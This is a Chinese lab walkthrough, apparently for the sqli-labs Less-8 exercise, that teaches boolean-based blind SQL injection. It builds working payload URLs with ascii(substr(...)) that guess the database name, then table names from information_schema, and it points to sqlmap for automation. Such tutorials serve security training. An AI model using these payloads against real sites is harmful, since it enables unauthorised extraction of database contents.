第七关先跳过,先把get注入系列讲完再来讲
不知道大家有没有玩过一个猜数字的游戏
我给出一个数的范围,比如1-100,然后你去猜,我只会回答你对或者错。
然后你会怎么猜呢?(假设要猜的这个数是 75)
很简单
先猜大于50,我会回答对,么这个数的范围就是50-100
再猜小于80,我会回答对,那么这个数的范围就是50-80
再猜小于70,我会回答错,那么这个数的范围就是70-80
就是这样一步步缩小范围,最后得出正确的值。
同样的原理,我们用在这节的课程上
这节讲的是sql盲注
与前面几个关卡不同的是,不管你在url后面加入什么,页面返回的要么是正确,要么是错误。具体看图
所以我们没办法通过服务器报错来获取相关的信息
通过这个语句,我们判断出sql的插叙语句
Select * from tables where id=‘参数’,就是单引号模式的
所以我们唯一的方法就是猜,当然,这个猜不是随便猜的,这个是有依据的,我们要用到几个函数
1 length
返回字符串长度
2 substr
从制定位置截取制定长度的字符串
3 ascii
返回对应的ascii值
用法:
我们通过length 获取当前数据库名的长度
Select length(database())
然后从第一个字符开始截取这个数据库名的一个字符
Select substr(database(),1,1)
然后转换称ascii。
Select ascii(substr(database(),1,1))
但是有一个问题,我们不知道数据库名的第一个字符是什么啊。
没错,所以我们用猜啊
我们去猜ascii的值,反过来我们就能知道数据库名的第一个字符是什么了
怎么猜呢?
还记得上面那个游戏吗?就是用这种方法
其中ascii从数字到大小写字母是从 48-126
我们只要在这期间进行猜解就可以,如图
其中0表示错误,1表示正常。上图是综合三个函数大概演示,看得懂就行
上面通过单引号的测试,我们已经知道sql语句
接下来我们就可以构造攻击语句了
http://127.0.0.1/Less-8/?id=1'and (select ascii(substr(database(),1,1))=116) --+
这句报错,说明ascii不是116,因为这里是演示,我们就不去大小的去猜了,直接用一个错的和一个对的来演示
http://127.0.0.1/Less-8/?id=1'and (select ascii(substr(database(),1,1))=115) --+
这个是正确的,也就是说数据库名的第一个字母是s
接下来,我们只要去改变语句中标红色的位置,然后去猜测ascii的大小就可以了
http://127.0.0.1/Less-8/?id=1'and (select ascii(substr(database(),1,1))=115)
我们还可以构造复杂一点的语句去猜测表名
http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<116) --+
http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<90) --+
综合上面两句,说明该数据库的第一个表的第一个字符的ascii在80—116之间
接下来接续猜解,就能得出该字符的具体名称
然后通过修改红色部分,和ascii码分别去猜测第2个,3 ,4 。。。的字符,最终得出第一个表的表名
http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))<90) --+
http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))<90) --+
因为一个数据库中正常是有好几个表的,猜完第一个表,我们用同样的方法来猜第二个表
修改语句中的limit 0,1就可以
Limit 1,1 第二行第一个
Limit 2,1 第三行第一个
从之前的学习中就可以看出,表的排列就是一行一个
表猜完了,再猜字段,只不过是更改一下语句中的红色部分
http://127.0.0.1/Less-8/?id=1'and (select ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<90) --+
红色部分的查询语句,之前的关卡中都有讲过,这里不再说明
但是有的人就会问了,猜这个数据库名,表名,字段名,工作量也太大了吧。
没错,这个时候只要我们能判断说这个url存在注入,我们就可以用sql注入神器sqlmap去执行,省时省力。关于sqlmap的使用,可以直接百度查询,或者后期我们也会进行相关的讲解!